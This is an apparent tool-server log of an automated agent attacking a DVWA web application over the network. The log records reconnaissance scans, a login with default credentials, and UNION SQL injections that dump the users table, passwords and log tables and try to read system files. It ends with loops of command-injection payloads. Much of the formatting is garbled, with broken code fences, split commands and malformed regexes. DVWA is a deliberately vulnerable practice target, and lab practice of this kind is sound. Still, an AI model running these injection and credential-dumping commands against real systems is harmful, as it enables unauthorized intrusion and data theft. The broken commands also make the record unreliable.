

6-03-06 15:19:43,260 [INFO] Executing command: which nmap
2026-03-06 15:19:43,271 [INFO] Executing command: which gobuster
2026-03-06 15:19:43,277 [INFO] Executing command: which dirb
2026-03-06 15:19:43,284 [INFO] Executing command: which nikto
2026-03-06 15:19:43,290 [INFO] 127.0.0.1 - - [06/Mar/2026 15:19:43] "GET /health
HTTP/1.1" 200 -
2026-03-06 15:25:50,453 [INFO] Executing command: nmap -sV -sC -p 8081 100.113.75.28
2026-03-06 15:25:58,123 [INFO] 127.0.0.1 - - [06/Mar/2026 15:25:58] "POST
/api/tools/nmap HTTP/1.1" 200 -
2026-03-06 15:26:05,673 [INFO] Executing command: curl -s
http://100.113.75.28:8081/robots.txt
2026-03-06 15:26:05,744 [INFO] 127.0.0.1 - - [06/Mar/2026 15:26:05] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:26:07,827 [INFO] Executing command: curl -sv http://100.113.75.28:8081/
2>&1 | head -60
2026-03-06 15:26:07,863 [INFO] 127.0.0.1 - - [06/Mar/2026 15:26:07] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:26:14,943 [INFO] Executing command: curl -s
http://100.113.75.28:8081/backup/ && echo "---" && curl -s http://100.113.75.28:8081/debug/
&& echo "---" && curl -s http://100.113.75.28:8081/admin/
2026-03-06 15:26:15,111 [INFO] 127.0.0.1 - - [06/Mar/2026 15:26:15] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:26:42,517 [INFO] Executing command: gobuster dir -u
http://100.113.75.28:8081/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 30 -q
2026-03-06 15:27:12,127 [INFO] 127.0.0.1 - - [06/Mar/2026 15:27:12] "POST
/api/tools/gobuster HTTP/1.1" 200 -
2026-03-06 15:27:27,182 [INFO] Executing command: curl -s
http://100.113.75.28:8081/security.txt && echo "=="PHP.INI==" && curl -s
http://100.113.75.28:8081/php.ini
2026-03-06 15:27:27,249 [INFO] 127.0.0.1 - - [06/Mar/2026 15:27:27] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:27:31,412 [INFO] Executing command: curl -s
http://100.113.75.28:8081/instructions.php | grep -i
"flag|vulnerability|sql|injection|include|upload|command|exec" | head -20
2026-03-06 15:27:31,482 [INFO] 127.0.0.1 - - [06/Mar/2026 15:27:31] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:27:47,794 [INFO] Executing command: curl -s -c /tmp/dvwa_cookies.txt -b
"security=custom" \
-d "username=admin&password=password&Login=Login&user_token=" \
http://100.113.75.28:8081/login.php -v 2>&1 | grep -E "Location|Set-Cookie|HTTP/"
2026-03-06 15:27:47,914 [INFO] 127.0.0.1 - - [06/Mar/2026 15:27:47] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:27:52,040 [INFO] Executing command: # Get the login page and extract
CSRF token
TOKEN=\$(curl -s -c /tmp/dvwa_cookies.txt http://100.113.75.28:8081/login.php | grep -o
'user_token.*value="[^\"]*" | grep -o '"[^\"]*\$' | tr -d '"')
echo "Token: \$TOKEN"

Now login with token

```
curl -s -c /tmp/dvwa_cookies.txt -b /tmp/dvwa_cookies.txt \
-d "username=admin&password=password&Login=Login&user_token=$TOKEN" \
-D - http://100.113.75.28:8081/login.php | grep -E "Location|Cookie"
2026-03-06 15:27:52,166 [INFO] 127.0.0.1 - - [06/Mar/2026 15:27:52] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:28:02,812 [INFO] Executing command: # Get the login page and extract
CSRF token properly
curl -s -c /tmp/dvwa_cookies.txt http://100.113.75.28:8081/login.php > /tmp/login_page.html
TOKEN=$(grep -o 'user_token[^>]*value="[^\"]*" /tmp/login_page.html | grep -o 'value="[^\"]*"
| cut -d'"' -f2)
echo "Token: $TOKEN"
2026-03-06 15:28:02,939 [INFO] 127.0.0.1 - - [06/Mar/2026 15:28:02] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:28:12,241 [INFO] Executing command: cat /tmp/login_page.html | grep -i
token
2026-03-06 15:28:12,253 [INFO] 127.0.0.1 - - [06/Mar/2026 15:28:12] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:28:15,305 [INFO] Executing command:
TOKEN="3a9e1389ed66ac797cff5a3b67b8c870"
curl -s -c /tmp/dvwa_cookies.txt -b /tmp/dvwa_cookies.txt \
-d "username=admin&password=password&Login=Login&user_token=$TOKEN" \
-D - http://100.113.75.28:8081/login.php | grep -E "^Location|Set-Cookie"
2026-03-06 15:28:15,373 [INFO] 127.0.0.1 - - [06/Mar/2026 15:28:15] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:28:35,734 [INFO] Executing command: # Verify we're logged in and check
the security level
curl -s -b /tmp/dvwa_cookies.txt http://100.113.75.28:8081/index.php | grep -i
"security\\|level\\|flag\\|welcome\\|logout" | head -10
2026-03-06 15:28:35,815 [INFO] 127.0.0.1 - - [06/Mar/2026 15:28:35] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:28:39,430 [INFO] Executing command: # Check current security level
curl -s -b /tmp/dvwa_cookies.txt http://100.113.75.28:8081/security.php | grep -i
"security\\|level\\|select\\|option" | head -15
2026-03-06 15:28:39,469 [INFO] 127.0.0.1 - - [06/Mar/2026 15:28:39] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:28:44,586 [INFO] Executing command: # Check Command Injection module
curl -s -b /tmp/dvwa_cookies.txt "http://100.113.75.28:8081/vulnerabilities/exec/" | grep -i
"form\\|input\\|submit\\|ip\\|command" | head -10
2026-03-06 15:28:44,697 [INFO] 127.0.0.1 - - [06/Mar/2026 15:28:44] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:28:49,727 [INFO] Executing command: # Check SQL Injection module
curl -s -b /tmp/dvwa_cookies.txt "http://100.113.75.28:8081/vulnerabilities/sqli/" | grep -i
"form\\|input\\|submit\\|id\\|user" | head -10
2026-03-06 15:28:49,802 [INFO] 127.0.0.1 - - [06/Mar/2026 15:28:49] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:29:11,282 [INFO] Executing command: # Get full SQL injection page source
```

```
curl -s -b /tmp/dvwa_cookies.txt "http://100.113.75.28:8081/vulnerabilities/sqli/" >
/tmp/sqli_page.html
grep -A2 -B2 "role\\debug\\hidden" /tmp/sqli_page.html | head -30
2026-03-06 15:29:11,353 [INFO] 127.0.0.1 - - [06/Mar/2026 15:29:11] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:29:17,822 [INFO] Executing command: # Check File Inclusion module
curl -s -b /tmp/dvwa_cookies.txt
"http://100.113.75.28:8081/vulnerabilities/fi/?page=include.php" | grep -i
"form\\include\\page\\file" | head -10

# Also check the file upload module
echo "===UPLOAD==="
curl -s -b /tmp/dvwa_cookies.txt "http://100.113.75.28:8081/vulnerabilities/upload/" | grep -i
"form\\input\\upload\\file" | head -10
2026-03-06 15:29:17,943 [INFO] 127.0.0.1 - - [06/Mar/2026 15:29:17] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:29:47,345 [INFO] Executing command: # Try basic SQLi test and observe the
debug parameter
curl -s -b /tmp/dvwa_cookies.txt
"http://100.113.75.28:8081/vulnerabilities/sqli/?id=1&Submit=Submit" | grep -i
"first\\last\\name\\result\\error\\sql" | head -15
2026-03-06 15:29:47,413 [INFO] 127.0.0.1 - - [06/Mar/2026 15:29:47] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:29:51,422 [INFO] Executing command: # View the source of the SQLi
vulnerability
curl -s -b /tmp/dvwa_cookies.txt
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=sqli&security=custom" | grep
-v "^$" | head -60
2026-03-06 15:29:51,556 [INFO] 127.0.0.1 - - [06/Mar/2026 15:29:51] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:29:57,309 [INFO] Executing command: curl -s -b /tmp/dvwa_cookies.txt
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=sqli&security=custom" |
python3 -c "
import sys, re
content = sys.stdin.read()
# Strip HTML tags
clean = re.sub('<[^>]+>', '', content)
# Decode HTML entities
import html
clean = html.unescape(clean)
print(clean)
" | grep -A 200 "STEP 3" | head -100
2026-03-06 15:29:57,384 [INFO] 127.0.0.1 - - [06/Mar/2026 15:29:57] "POST /api/command
HTTP/1.1" 200 -
```

AWAITING NEW PROMPT.

2026-03-06 15:33:22,116 [INFO] Executing command: # Fresh login to get valid session
curl -s -c /tmp/session.txt http://100.113.75.28:8081/login.php > /tmp/lp.html
TOKEN=\$(grep -o 'user_token.*value="[^\"]*" ' /tmp/lp.html | grep -o '"[^\"]*\$' | tr -d '"')
echo "CSRF Token: \$TOKEN"

curl -s -c /tmp/session.txt -b /tmp/session.txt \
-d "username=admin&password=password&Login=Login&user_token=\$TOKEN" \
-D - http://100.113.75.28:8081/login.php | grep "Location:"
2026-03-06 15:33:22,239 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:22] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 15:33:25,115 [INFO] Executing command: # Extract token more carefully
curl -s -c /tmp/session.txt http://100.113.75.28:8081/login.php > /tmp/lp.html
grep "user_token" /tmp/lp.html
2026-03-06 15:33:25,152 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:25] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 15:33:27,644 [INFO] Executing command:
TOKEN="9a64e8da2fa5d02a8b8f6cbb120b3a4d"
curl -s -c /tmp/session.txt -b /tmp/session.txt \
-d "username=admin&password=password&Login=Login&user_token=\$TOKEN" \
-D - http://100.113.75.28:8081/login.php | grep "Location:"
2026-03-06 15:33:27,712 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:27] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 15:33:32,282 [INFO] Executing command: # Test backdoor: role=admin +
debug=1 + valid ID
curl -s -b /tmp/session.txt \
"http://100.113.75.28:8081/vulnerabilities/sqli/?id=1&Submit=Submit&role=admin&debug=1"

\
| grep -E "QUERY|ERROR|sql_table|username|RAW=" | head -20
2026-03-06 15:33:32,350 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:32] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 15:33:38,331 [INFO] Executing command: # Test UNION with 4 columns
(matching SELECT structure) - use URL encoding for safety
The query is: WHERE user_id = '{input}' — we inject: ' UNION SELECT ...--

curl -s -b /tmp/session.txt \
--data-urlencode "id=1' UNION SELECT 1,2,3,4--" \
--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
--data-urlencode "debug=1" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep -E "QUERY|ERROR|sql_table|tr>|RAW=" | head -20
2026-03-06 15:33:38,402 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:38] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 15:33:42,105 [INFO] Executing command: # Use GET method as the form uses
GET, with proper URL encoding via curl -G
curl -s -b /tmp/session.txt -G \
--data-urlencode "id=1' UNION SELECT 'A','B','C','D'--" \
--data-urlencode "Submit=Submit" \
"http://100.113.75.28:8081/vulnerabilities/sqli/"

```

--data-urlencode "role=admin" \
--data-urlencode "debug=1" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep -E "sql_table|<td>|QUERY|RAW=" | head -20
2026-03-06 15:33:42,177 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:42] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:33:47,955 [INFO] Executing command: # Enumerate all tables in current
database
curl -s -b /tmp/session.txt -G \
--data-urlencode "id=999' UNION SELECT table_name,2,3,4 FROM
information_schema.tables WHERE table_schema=database()-- -" \
--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
--data-urlencode "debug=1" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/'
2026-03-06 15:33:48,073 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:48] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:33:53,635 [INFO] Executing command: # Enumerate ALL databases on the
server
curl -s -b /tmp/session.txt -G \
--data-urlencode "id=999' UNION SELECT schema_name,2,3,4 FROM
information_schema.schemata-- -" \
--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | grep -v "<td>2|<td>3|<td>4" | sed 's/.*<td>\(.*\)</td>.*\1/'
2026-03-06 15:33:53,757 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:53] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:33:57,957 [INFO] Executing command: # Enumerate columns in access_log
and security_log
curl -s -b /tmp/session.txt -G \
--data-urlencode "id=999' UNION SELECT concat(table_name,',',column_name),2,3,4
FROM information_schema.columns WHERE table_schema=database()-- -" \
--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | grep -v "^.*<td>[234]<" | sed 's/.*<td>\(.*\)</td>.*\1/' | grep -v "^[234]$"
2026-03-06 15:33:58,081 [INFO] 127.0.0.1 - - [06/Mar/2026 15:33:58] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:34:03,437 [INFO] Executing command: # Dump access_log.action entries
curl -s -b /tmp/session.txt -G \
--data-urlencode "id=999' UNION SELECT action,timestamp,user_id,target_id FROM
access_log LIMIT 10-- -" \
--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/'

```

2026-03-06 15:34:03,560 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:03] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:34:08,118 [INFO] Executing command: # Dump security_log entries

```
curl -s -b /tmp/session.txt -G \
```

```
--data-urlencode "id=999' UNION SELECT action,ip_address,user_id,timestamp FROM security_log LIMIT 10-- -" \
```

```
--data-urlencode "Submit=Submit" \
```

```
--data-urlencode "role=admin" \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
```

```
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/'
```

2026-03-06 15:34:08,185 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:08] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:34:11,747 [INFO] Executing command: # Check users table - dump all fields including role

```
curl -s -b /tmp/session.txt -G \
```

```
--data-urlencode "id=999' UNION SELECT concat(user,',',role),password,first_name,last_name FROM users-- -" \
```

```
--data-urlencode "Submit=Submit" \
```

```
--data-urlencode "role=admin" \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
```

```
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/'
```

2026-03-06 15:34:11,824 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:11] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:34:22,507 [INFO] Executing command: # Try LOAD_FILE to read a known file - test with /etc/hostname

```
curl -s -b /tmp/session.txt -G \
```

```
--data-urlencode "id=999' UNION SELECT LOAD_FILE('/etc/hostname'),2,3,4-- -" \
```

```
--data-urlencode "Submit=Submit" \
```

```
--data-urlencode "role=admin" \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
```

```
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/' | head -5
```

2026-03-06 15:34:22,628 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:22] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:34:26,871 [INFO] Executing command: # LOAD_FILE returned NULL - check FILE privilege

```
curl -s -b /tmp/session.txt -G \
```

```
--data-urlencode "id=999' UNION SELECT IFNULL(LOAD_FILE('/etc/hostname'),'NO_FILE_PRIV'),user(),@@secure_file_priv,4-- -" \
```

```
--data-urlencode "Submit=Submit" \
```

```
--data-urlencode "role=admin" \
```

```
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
```

```
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/' | head -8
```

2026-03-06 15:34:26,939 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:26] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:34:32,595 [INFO] Executing command: # Check guestbook for flag content

```
curl -s -b /tmp/session.txt -G \
```

```
--data-urlencode "id=999' UNION SELECT comment,name,comment_id,4 FROM guestbook-- -" \
```

```

--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/'
2026-03-06 15:34:32,823 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:32] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:34:36,914 [INFO] Executing command: # Check information_schema for ALL
tables (might be a hidden schema)
curl -s -b /tmp/session.txt -G \
--data-urlencode "id=999' UNION SELECT concat(table_schema,'.',table_name),2,3,4
FROM information_schema.tables WHERE table_schema NOT IN
('information_schema','performance_schema','mysql','sys')--" \
--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | grep -v "^.*<td>[234]</td>" | sed 's/.*<td>\(.*\)</td>.*\1/' | grep -v "^[234]$"
2026-03-06 15:34:36,981 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:36] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:34:46,376 [INFO] Executing command: # Check avatar paths and any
unusual user data
curl -s -b /tmp/session.txt -G \
--data-urlencode "id=999' UNION SELECT avatar,account_enabled,failed_login,last_login
FROM users--" \
--data-urlencode "Submit=Submit" \
--data-urlencode "role=admin" \
"http://100.113.75.28:8081/vulnerabilities/sqli/" \
| grep "<td>" | sed 's/.*<td>\(.*\)</td>.*\1/'
2026-03-06 15:34:46,444 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:46] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:34:52,355 [INFO] Executing command: # Test Command Injection - basic
ping then chain a command
# First, get CSRF token for exec page if needed
curl -s -b /tmp/session.txt "http://100.113.75.28:8081/vulnerabilities/exec/" >
/tmp/exec_page.html
grep -i "token\|csrf\|hidden" /tmp/exec_page.html | head -5
2026-03-06 15:34:52,427 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:52] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:34:55,939 [INFO] Executing command:
EXEC_TOKEN="a70814a54759e3eaeebf9c41d42c0855"

# Test basic command injection: pipe a command after IP
curl -s -b /tmp/session.txt \
--data-urlencode "ip=127.0.0.1 | id" \
--data-urlencode "Submit=Submit" \
--data-urlencode "user_token=$EXEC_TOKEN" \
"http://100.113.75.28:8081/vulnerabilities/exec/" \
| grep -A2 "pre\|result\|output" | head -15

```

2026-03-06 15:34:55,984 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:55] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:34:59,679 [INFO] Executing command: # Try different command injection bypass techniques

1. Semicolon separator

curl -s -b /tmp/session.txt \

--data-urlencode "ip=127.0.0.1;id" \

--data-urlencode "Submit=Submit" \

--data-urlencode "user_token=\$EXEC_TOKEN" \

"http://100.113.75.28:8081/vulnerabilities/exec/" | grep "<pre>" | head -5

2026-03-06 15:34:59,759 [INFO] 127.0.0.1 - - [06/Mar/2026 15:34:59] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:35:03,774 [INFO] Executing command: # View source of exec module for the custom security level

curl -s -b /tmp/session.txt

"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=exec&security=custom" | python3 -c "

import sys, re, html

content = sys.stdin.read()

clean = re.sub('<[>]+>', '', content)

print(html.unescape(clean))

" | grep -A 50 "php" | head -60

2026-03-06 15:35:03,841 [INFO] 127.0.0.1 - - [06/Mar/2026 15:35:03] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:35:10,499 [INFO] Executing command: # Get raw source

curl -s -b /tmp/session.txt

"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=exec&security=custom" | python3 -c "

import sys, re, html

content = sys.stdin.read()

Find code block

m = re.search(r'<pre><code[>]*>(.*)</code></pre>', content, re.DOTALL)

if m:

clean = re.sub('<[>]+>', '', m.group(1))

print(html.unescape(clean))

else:

print('No code block found')

print(content[:500])

"

2026-03-06 15:35:10,572 [INFO] 127.0.0.1 - - [06/Mar/2026 15:35:10] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:35:19,543 [INFO] Executing command: # Get full source page and look at what's there

curl -s -b /tmp/session.txt

"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=exec&security=custom" | grep -i "code\\php\\filter\\shell\\exec\\strip" | head -20

2026-03-06 15:35:19,580 [INFO] 127.0.0.1 - - [06/Mar/2026 15:35:19] "POST /api/command HTTP/1.1" 200 -


```

2026-03-06 15:35:24,614 [INFO] Executing command: # Source code is empty for exec
custom - let's try different bypass techniques
# Try newline injection, && , backticks, $( )
for PAYLOAD in "127.0.0.1 && id" "127.0.0.1 || id" "127.0.0.1%0aid" "127.0.0.1\nid" "; id #"
"127.0.0.1$(id)"; do
    RESULT=$(curl -s -b /tmp/session.txt \
        -d "ip=$(python3 -c "import urllib.parse;
print(urllib.parse.quote('$PAYLOAD'))"&Submit=Submit&user_token=$EXEC_TOKEN" \
        "http://100.113.75.28:8081/vulnerabilities/exec/" | grep -i
"uid\\www-data\\root\\invalid\\blocked")
    echo "PAYLOAD: $PAYLOAD -> $RESULT"
done
2026-03-06 15:35:25,037 [INFO] 127.0.0.1 - - [06/Mar/2026 15:35:25] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:35:29,825 [INFO] Executing command: # Let me try the payload properly with
URL encoding via curl's built-in
EXEC_TOKEN=$(curl -s -b /tmp/session.txt "http://100.113.75.28:8081/vulnerabilities/exec/"
| grep "user_token" | grep -o 'value="[^\"]*"' | cut -d'"' -f2)
echo "Token: $EXEC_TOKEN"

curl -s -b /tmp/session.txt \
    --data-urlencode "ip=127.0.0.1 && id" \
    --data-urlencode "Submit=Submit" \
    --data-urlencode "user_token=$EXEC_TOKEN" \
    "http://100.113.75.28:8081/vulnerabilities/exec/" | grep -E "pre>uid|www" | head -10
2026-03-06 15:35:29,949 [INFO] 127.0.0.1 - - [06/Mar/2026 15:35:29] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:35:40,250 [INFO] Executing command: # Fresh session + token for exec
module
curl -s -c /tmp/session2.txt http://100.113.75.28:8081/login.php > /tmp/lp2.html
TOKEN2=$(grep "user_token" /tmp/lp2.html | grep -o 'value="[^\"]*"' | cut -d'"' -f2)
curl -s -c /tmp/session2.txt -b /tmp/session2.txt \
    -d "username=admin&password=password&Login=Login&user_token=$TOKEN2" \
    "http://100.113.75.28:8081/login.php" > /dev/null

# Get exec page token
curl -s -b /tmp/session2.txt "http://100.113.75.28:8081/vulnerabilities/exec/" >
/tmp/exec2.html
EXEC_TOKEN2=$(grep "user_token" /tmp/exec2.html | grep -o 'value="[^\"]*"' | cut -d'"' -f2)
echo "Exec Token: $EXEC_TOKEN2"
2026-03-06 15:35:40,423 [INFO] 127.0.0.1 - - [06/Mar/2026 15:35:40] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:35:50,663 [INFO] Executing command: cat /tmp/exec2.html | grep
"hidden\\token" | head -5
2026-03-06 15:35:50,672 [INFO] 127.0.0.1 - - [06/Mar/2026 15:35:50] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:35:52,883 [INFO] Executing command: cat /tmp/exec2.html | head -20

```

2026-03-06 15:35:52,893 [INFO] 127.0.0.1 - - [06/Mar/2026 15:35:52] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:36:00,170 [INFO] Executing command: wc -c /tmp/exec2.html && cat /tmp/session2.txt

2026-03-06 15:36:00,205 [INFO] 127.0.0.1 - - [06/Mar/2026 15:36:00] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:36:07,053 [INFO] Executing command: # Session cookie seems valid, let me try direct request

```
curl -v -b "security=custom;PHPSESSID=77abec5f225f7f9edb1f282eefbabd8c" \
"http://100.113.75.28:8081/vulnerabilities/exec/" 2>&1 | grep -E "HTTP|Location|title" | head
-5
```

2026-03-06 15:36:07,090 [INFO] 127.0.0.1 - - [06/Mar/2026 15:36:07] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:36:21,315 [INFO] Executing command: # Session expired - full fresh login

```
curl -s -c /tmp/s3.txt "http://100.113.75.28:8081/login.php" -o /tmp/login3.html
T=$(grep "user_token" /tmp/login3.html | grep -o "value='[^']*'" | tr -d "value=" )
echo "Token=$T"
```

```
curl -s -c /tmp/s3.txt -b /tmp/s3.txt \
-d "username=admin&password=password&Login=Login&user_token=$T" \
-D /tmp/login_headers.txt \
"http://100.113.75.28:8081/login.php" -o /dev/null
```

cat /tmp/login_headers.txt | grep -E "Location|Cookie"

2026-03-06 15:36:21,432 [INFO] 127.0.0.1 - - [06/Mar/2026 15:36:21] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:36:31,418 [INFO] Executing command: # Token parsing issue - let me parse it properly

```
TOKEN_RAW=$(grep "user_token" /tmp/login3.html)
echo "$TOKEN_RAW"
```

2026-03-06 15:36:31,430 [INFO] 127.0.0.1 - - [06/Mar/2026 15:36:31] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:36:35,793 [INFO] Executing command:

T="e69fd04852919726a6982a6f84015447"

```
curl -s -c /tmp/s3.txt -b /tmp/s3.txt \
-d "username=admin&password=password&Login=Login&user_token=$T" \
-D /tmp/h3.txt "http://100.113.75.28:8081/login.php" -o /dev/null
grep "Location" /tmp/h3.txt
```

Now access exec page with follow redirects off

```
curl -s -b /tmp/s3.txt "http://100.113.75.28:8081/vulnerabilities/exec/" -o /tmp/exec3.html -D
/tmp/exec_h.txt
```

grep "Location|HTTP" /tmp/exec_h.txt | head -3

wc -c /tmp/exec3.html

2026-03-06 15:36:35,913 [INFO] 127.0.0.1 - - [06/Mar/2026 15:36:35] "POST /api/command HTTP/1.1" 200 -

2026-03-06 15:36:35,913 [INFO] 127.0.0.1 - - [06/Mar/2026 15:36:35] "POST /api/command HTTP/1.1" 200 -

```
2026-03-06 15:36:58,348 [INFO] Executing command: grep -i "token\|hidden\|form"
/tmp/exec3.html | head -10
2026-03-06 15:36:58,360 [INFO] 127.0.0.1 - - [06/Mar/2026 15:36:58] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:37:02,910 [INFO] Executing command:
EXEC_T="d5f86f9ae41edc83498cf7efe5e967c5"
```

Try command injection payloads

for PAYLOAD in "127.0.0.1 | id" "127.0.0.1 && id" "127.0.0.1; id" "; id" "| id"; do

```
    RESULT=$(curl -s -b /tmp/s3.txt \
        --data-urlencode "ip=$PAYLOAD" \
        --data-urlencode "Submit=Submit" \
        --data-urlencode "user_token=$EXEC_T" \
        "http://100.113.75.28:8081/vulnerabilities/exec/" | grep -oE "uid=[0-9]+\([^\)]+\)|invalid
IP|blocked|ERROR")
```

```
    echo "[$PAYLOAD] -> $RESULT"
```

done

```
2026-03-06 15:37:03,616 [INFO] 127.0.0.1 - - [06/Mar/2026 15:37:03] "POST /api/command
HTTP/1.1" 200 -
```

2026-03-06 15:37:18,110 [INFO] Executing command: # Token gets consumed. Need fresh token per request. Let me build a function.

```
exec_inject() {
```

```
    # Get fresh exec page (which also contains fresh CSRF token)
```

```
    curl -s -b /tmp/s3.txt "http://100.113.75.28:8081/vulnerabilities/exec/" -o
/tmp/exec_temp.html
```

```
    ET=$(grep "user_token" /tmp/exec_temp.html | grep -o "value='[^']*'" | sed
"s/value='\([^\']*'\)/\1/")
```

```
    curl -s -b /tmp/s3.txt \
        --data-urlencode "ip=$1" \
        --data-urlencode "Submit=Submit" \
        --data-urlencode "user_token=$ET" \
        "http://100.113.75.28:8081/vulnerabilities/exec/"
```

```
}
```

Test injection

```
exec_inject "127.0.0.1 && id" | grep -E "pre>[uid|invalid|ERROR]" | head -5
```

```
2026-03-06 15:37:18,228 [INFO] 127.0.0.1 - - [06/Mar/2026 15:37:18] "POST /api/command
HTTP/1.1" 200 -
```

2026-03-06 15:37:35,006 [INFO] Executing command: # The exec module has strict IP validation at custom level. Let me check the source.

```
curl -s -b /tmp/s3.txt
```

```
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=exec&security=custom" \
| python3 -c "
```

```
import sys, re, html
```

```
c = sys.stdin.read()
```

Try to find any PHP code

```
blocks = re.findall(r'color: #[0-9A-Fa-f]+\\">(.*)</span>', c, re.DOTALL)
```

```

code = html.unescape(' '.join(blocks))
print(code[:3000])
"
2026-03-06 15:37:35,073 [INFO] 127.0.0.1 - - [06/Mar/2026 15:37:35] "POST /api/command
HTTP/1.1" 200 -
2026-03-06 15:37:39,210 [INFO] Executing command: # Source is empty for exec/custom -
it's likely using the 'impossible' level for exec
# Let's view the "compare all" source to understand what validation is happening
curl -s -b /tmp/s3.txt "http://100.113.75.28:8081/vulnerabilities/view_source_all.php?id=exec"
\
| python3 -c "
import sys, re, html
c = sys.stdin.read()
m = re.search(r'impossible.*?<pre><code[^\>]*>(.*?)</code></pre>', c,
re.DOTALL|re.IGNORECASE)
if m:
    print(html.unescape(re.sub('<[^\>]+>',",",m.group(1))))
" | head -40
2026-03-06 15:37:39,277 [INFO] 127.0.0.1 - - [06/Mar/2026 15:37:39] "POST /api/command
HTTP/1.1" 200 -

2026-03-06 15:38:00,345 [INFO] Executing command: # View FI source for custom level
curl -s -b /tmp/s3.txt
"http://100.113.75.28:8081/vulnerabilities/view_source.php?id=fi&security=custom" \
| python3 -c "
